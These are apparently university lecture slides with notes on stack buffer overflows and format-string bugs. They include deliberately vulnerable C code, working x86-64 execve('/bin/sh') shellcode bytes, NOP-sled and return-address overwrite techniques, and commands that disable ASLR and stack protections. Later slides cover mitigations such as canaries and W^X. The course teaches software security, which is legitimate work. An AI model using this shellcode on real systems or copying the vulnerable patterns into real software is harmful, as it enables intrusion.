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Notes:
Based on slides by Peter Schwabe.

Demos:

• buffer.c

• buffer-vuln.c



Recap

• Code and information related to control flow is in the same memory
as the data your program works on

• Input to our program may come from anywhere, and if you trust it,
you might be making a mistake

• If the first argument to printf is user-controlled, you are going to
have a bad day
– printf(string) does not spark joy
– should be printf("%s", string)
– Not limited to just reading up the stack, arbitrary read/write is

possible!
– (printf is actually a family of functions: variants sprintf,

fprintf have the same problems)
• When handling buffers, be mindful of the size

– Don’t read or write out-of-bounds
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gets(s)
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Inspecting a buffer with printf

void func(char* string) {
char buf[20];
for (int i = 0; i < 20; i++)

buf[i] = 'A' + i;
printf(string); // our debugger

}
int main(int argc, char* argv[]) {

func(argv[1]);
}

... ↓ 0x7f. . .

return address

frame pointer

buf[19] = 'T'

buf[18] = 'S'

. . .

buf[0] = 'A'

...
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Notes:

• Demo again how we can use printf to figure out what’s going on
again.

• We will extend this to become a buffer overflow attack with the
found address.



Overflowing a buffer

void func() {
char *result;
char buf[100];
printf("Enter your name: ");
result = gets(buf);
printf(result); // our debugger

}
int main(int argc, char* argv[]) {

func();
}

./buffer-vuln.c:6: warning: the ‘gets’
function is dangerous and should not be
used.

... ↓ 0x7f. . .

return address

frame pointer

buf[99]

buf[98]

. . .

buf[0]

...
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Notes:

• Demo buffer-vuln.c
– Show how we can control the return address
– Nice example is to overwrite it with itself to show that this

works
• Make sure to run this with ASLR off: run

setarch $(uname -m) -R!



Taking control of the return address

So what if we feed this program 'A'x116? ... ↓ 0x7f. . .

AAAAAAAA

AAAAAAAA

buf[99]= A

buf[98]= A

. . .

buf[0]= A

...
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Taking control of the return address

So what if we feed this program
'A'x1081+"\xDE\x0D\xDC\xAD\x0B"?

1) actual values for the offset will vary with alignment, sizes
of buffers and other local variables.

... ↓ 0x7f. . .

0x0BADCODE

AAAAAAAA

buf[99]= A

buf[98]= A

. . .

buf[0]= A

...
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But what if the code we want to run is not part of
the program?

• This method allows to redirect the program to run other part of the
program.

• But typically a program does not contain a function called
give_me_root()

• Solution: inject your own code to spawn a shell: shellcode
• Remember: code is data, data is code
• Idea: put our own code into the memory of the program and jump

to it
• Obviously, we can not input C source code and expect it to work
• Instead use machine code
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Notes:
Technically speaking, most programs actually do contain enough code to give
you a shell. Next week more on that.



Launching a shell from C

#include <stdlib.h>
#include <unistd.h>
int main(void)
{

char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);

}
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execve

int execve(const char *filename, char *const argv[],
char *const envp[]);

• Executes command with name filename
• argv[] is the list of arguments passed to main
• envp[] are environment variables as key=value
• argv[] and envp[] must end with a NULL pointer
• First argument needs to be the name of the executable!
• execve is a function that is a wrapper for a system call
• System calls are requests to the operating system

– Put system call number into rax register
I 59 is the number for sys_execve

– Arguments in rdi, rsi, rdx
– Execute syscall assembly instruction
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Notes:
You will learn more about system calls in Operating Systems



Writing shell code

• We want to run execve in our injected code.
– We need it in machine code
– Write assembly instead and then translate it

• Applying the C compiler will give us more noise than we want: it
needs to be a valid string.

12

Notes:

• You will not need to be able to reproduce all of this assembly work
on the shell.



Calling execve

int execve(const char *filename, char *const argv[],
char *const envp[]);

To do list:
� Get a pointer to "/bin/sh" into first argument register rdi
� Create argv[] array of pointers to strings:

{pointer to "/bin/sh", NULL}

� Put address of array into second argument register rsi
� Set third argument register rdx to NULL (empty envp[])
� Put system call number 59 (execve) in rax

� Call syscall
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Getting around NULL

• Remember: strings are NULL-terminated character arrays
– If we have a NULL byte in our input string, the rest will not be

read.
• Instead, obtain NULL through a trick:

xor %rdx, %rdx

�3 Set third argument register rdx to NULL (empty envp[])

14

Notes:

• Remember, ∀a, a⊕ a = 0



Getting /bin/sh into memory

• We need to put "/bin/sh" somewhere in memory where we know
the address.

• Obvious solution: put it on the stack and use the stack pointer
• But "/bin/sh" should also be NULL-terminated!
• Another trick saves the day:

mov $0x68732f6e69622f41,%rbx # hs/nib/A
shr $0x8, %rbx # move right 8 bits
push %rbx

• 0x68732f6e69622f41 is A/bin/sh, but little-endian encoded
• If we shift right by 8 bits, we will drop off the 0x41 (A)!

The new value will be 0x0068732f6e69622f
• Get the address (the stack pointer) into the first argument register:

mov %rsp, %rdi
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Calling execv

�3 Get a pointer to "/bin/sh" into first argument register rdi
� Create argv[] array of pointers to strings:

{pointer to "/bin/sh", NULL}

� Put address of array into second argument register rsi

�3 Set third argument register rdx to NULL (empty envp[])
� Put system call number 59 (execve) in rax

� Call syscall
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Creating the argv[] array

• We need consecutive memory to hold first the pointer to
"/bin/sh", then NULL

• rdx contains NULL
• rdi contains the pointer to "/bin/sh"
• We simply push these on the stack!

push %rdx # NULL
push %rdi # address of /bin/sh
mov %rsp, %rsi # Put stack pointer address into rsi

• Remember that the stack grows downwards, so we push in reverse
order.

�3 Create argv[] array of pointers to strings:
{pointer to "/bin/sh", NULL}

�3 Put address of array into second argument register rsi
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Last step: issuing the call

�3 Put system call number 59 (execve) in rax

�3 Call syscall

xor %rax, %rax # zero register
mov $0x3b, %al # put 59 in the lower part of the register
syscall
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Notes:

• We don’t use mov $0x3b, %rax (using the large register name)
because that command will assemble the 0x3b to 0x0000003b,
which contains null bytes.



Calling execv

�3 Get a pointer to "/bin/sh" into first argument register rdi

�3 Create argv[] array of pointers to strings:
pointer to "/bin/sh", NULL

�3 Put address of array into second argument register rsi

�3 Set third argument register rdx to NULL (empty envp[])

�3 Put system call number 59 (execve) in rax

�3 Call syscall
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The final shell code

"\x48\x31\xd2" //xor %rdx, %rdx
"\x48\xbb\x41\x2f\x62\x69\x6e\x2f\x73\x68" //mov sh/bin/A, %rbx
"\x48\xc1\xeb\x08" //shr $0x8, %rbx
"\x53" //push %rbx
"\x48\x89\xe7" //mov %rsp, %rdi
"\x52" //push %rdx
"\x57" //push %rdi
"\x48\x89\xe6" //mov %rsp, %rsi
"\x48\x31\xc0" //xor %rax, %rax
"\xb0\x3b" //mov $0x3b, %al
"\x0f\x05" //syscall
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Notes:

• Because it’s a bit annoying to type those bytes all the time, it
typically helps to store them in some file or a program that produces
them as output.



Our plan of attack

1. �3Prepare code to inject into program
2. � Get program to run our code
3. ???
4. � Profit
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Running our shell code code

• printf "\x48\x31\xd2..." > shellcode.bin
• Getting our code into the vulnerable program is easy enough:

– cat shellcode.bin | ./vulnerable
• We know we can take over the stack pointer
• But where is our code?
• Answer: the address of the buffer gets reads into!
• But how do we find it. . .

1. Cheat, and add a print statement
2. Use a debugger
3. Use a format string vulnerability to find the address

• Inject it into the program
(cat shellcode.bin; printf "\xBA\xDC\x0D\xE0") | ./vulnerable

• Mind the endianness!
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Notes:

• If you don’t have enough buffer space but control environment
variables, you can also put your shellcode there. Environment
variables also get mapped into the address space of the program.
– You don’t need to know how to do this for the exam though,

but for reference you could figure out how getenv() works.
– My bundle of helper programs contains an executable that gives

you the address for an environment variable
– This doesn’t help you for remote attacks, of course – you

usually don’t have control over the environment there.



Overcoming imprecise addressing

• Format string attacks often won’t give you the exact address of the
buffer
– Likely to find addresses of other thing on the stack, though
– Frame pointer will at least give you some idea of stack locations

• We need to execute all of the bytes of machine code that form the
shellcode, so need to precisely start at the first byte.

• Two solutions to overcoming this
– Determine address of start of shell code by trial-and-error
– Allow a larger “point of entry” for the shell code

• Often you’ll need to use both
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The NOP sled

• Assembly instruction NOP: 0x90: does
nothing

• Just put as many of these as we can
get away with before the shell code

• We don’t care if we run many or none
of these: gives us a margin of error.

• We just need to jump somewhere
between the start of the shell code and
end of the NOPs

• This sequence of NOPs is called a
NOP-sled
→ It lets us slide into the payload

... ↓ 0x7f. . .

Shell code

NOP

NOP ↑ execution

NOP

NOP

...
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Sled
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Putting it all together

char *gets(char*);

void func() {
char* ret;
char buf[200];
printf("Please enter your name: ");
ret = gets(buf); // read the input!
printf("Your input was: ");
printf(ret);
printf("\n");

}
int main(int argc, char* argv[]) {

func();
}
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Notes:

• Demo time: buffer-vuln.c
• Plan of attack:

– Find out when it crashes: that’s where we need to overwrite
things

– Write a shitton of %ps, to learn the value of ret
– Point out that students may also try to use any of the other

shell addresses and may just increment those.



The general plan of attack

1. Identify vulnerabilities
– Format strings: %p leads something else than %p being printed
– Buffer overflows: gets, strcpy, segmentation error

2. Identify how you can figure out what’s going on at the other side
– Local: use gdb
– Remote: %p%p%p

3. Determine for a buffer overflow when it crashes: is there maybe a
return address or frame pointer there?

4. Figure out how you’re going to reach your goals
– Take over return address to execute other function

a. Find other function’s address
b. Overwrite return address

– Inject your own code (shellcode)
a. Figure out where to put shellcode
b. Overwrite return address

27

Notes:



But only idiots use gets

• gets is deprecated and hopefully nobody uses it anymore
• Many other ways to shoot yourself in the foot though

– strcpy(dest, src)
– memcpy(dest, src, src_len)
– strcat, sprintf, scanf, . . .
– getwd(char* dest) (get working directory)
– . . .
– DIY footguns also widely available

• Part of the problem is that in C, there is no (reliable, standardized)
way to determine the size of a buffer at runtime
– Functions can not detect if the pointer they got points to large

enough memory
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Notes:

• The problem with the memcpy is that we use the size of the source
and not the destination!

• The whole suite of functions that work on null-terminated strings
without limits (strcat, srcpy, sprintf, ...) is problematic.



Preventing buffer overflows

• Write and promote safer functions
– Require programmer to pass lengths of buffers
I strncopy(dest, src, dest_size) writes at most

dest_size bytes.
I Warning: dest may not be null-terminated if src was too

big!
– malloc the memory required to store the result in the function

itself, and return a pointer
• Have a safer language

– In Rust, the size of the array is part of the type: [Type;N]
I Can’t pass or return an array to/from a function without

exactly specifying the size of the array at compile-time.
I Use resizable buffers (Vec<T>) anywhere the length may

vary
– Or just keep track of size and check at run-time
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Making attacks harder

• Remember the underlying principle that enables the attacks we did:
code is data

• We put code on the stack in the buffer overflow attack
– Solution: have operating system not allow executing code there!
– NX (no-execute) feature of CPUs allows to set a bit flag on

pages.
– Turns our jump-to-stack-address into a segmentation error
– Often implemented as W⊕X (W xor X), write xor execute
I Either allow writes, or executing code, but never both!

• Turn this protection off for academic usage
– gcc option -z execstack
– Disable on an existing binary: execstack -s BINARY
– Enable on an existing binary: execstack -c BINARY

• Some programs actually need an executable stack, though
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Notes:
More of this will follow in the Operating systems course



On canaries and coal mines

void f(...)
{

long canary = CANARY_VALUE; // initialize canary

// buffer-overflow vulnerability here
char* buf[100];
char* ret = gets(buf);

if(canary != CANARY_VALUE) {
exit(CANARY_DEAD); // abort with error

}
}

Can we exploit this with the string
“0x90 0x90...SHELLCODE...0xADDRESS”?
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Protecting the return address

• Idea: put a value on the stack that would be
overwritten by a buffer overflow

• Named stack canaries after canaries in coal
mines
– If the bird did not tweet anymore, you

got the hell out.
• Before returning, check the canary
• Dead canary?

– Framepointer can not be trusted anymore
– Return address can not be trusted

anymore
– Terminate.

... ↓ 0x7f. . .

return address

frame pointer

0xCANARY

arguments

local variables

...
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Implementing canaries

• Putting canaries into every function seems a bit tedious
• Fortunately, compilers will happily do it for you
• The -fstack-protector feature is turned on by default in gcc,

clang
– Turn it off (for educative purposes) via

-fno-stack-protector
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Canaries must know tricks

• What if we just use a fixed constant value each time?
– Just put that value in your attack string, so it overwrites the

canary value with the same value!
– Use a randomized canary each time
– Then you need to first read it before you can overwrite it: needs

(e.g.) two printf problems in the same function!
• Another trick: put a null byte in your canary

– Stops string injection attacks from overwriting what’s behind
the canary, if they want to preserve it

– Bypass canary needs (at least) two string buffer overflows
I first overwrite behind the canary,
I Then overwrite and have the last null byte overlap the

canary
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Mitigations, not solutions

• There are more things done to make attacks more complicated
• Next week we will talk about defeating W⊕X
• Why bother if it can be defeated anyway?
• Not all attacks are by the AIVD, NSA, DPRK, FSB
• Stack canaries, W⊕X, ASLR keep out the less-motivated attackers

– they need to find bigger holes in your program or squeeze a
more complicated attack through a smaller hole

– they also make a lot of attacks much less reliable and harder to
execute remotely

– Increases the monetary cost of an attack
• Most people don’t need to worry about the NSA(’s budget)

– Infinite security costs infinite money
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Wrap-up

• Take control of the return address to jump to code that we can put
into the program

• Shell code: machine code that launches a shell
– Needs to be carefully designed to avoid NULL bytes

• Use printf to find the relative location of the return address and
addresses of local variables
– Also use it to figure out the number of bytes you need to write

to overwrite it
• Use a NOP-sled to overcome uncertainty when guessing the location

of your shell code.
• Mitigations exist to make these attacks harder to execute

– W⊕X
– Stack canaries
– ASLR (next week)

• gets is hugely unsafe
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Exercise 3 of last week

Even if you successfully do the assignment, it may still crash.

This happens because system calls require a 16-byte aligned stack
pointer. Working around this is somewhat hard with gdb, almost
impossible otherwise.
If this happens to you, just hand it in as if it did work correctly.
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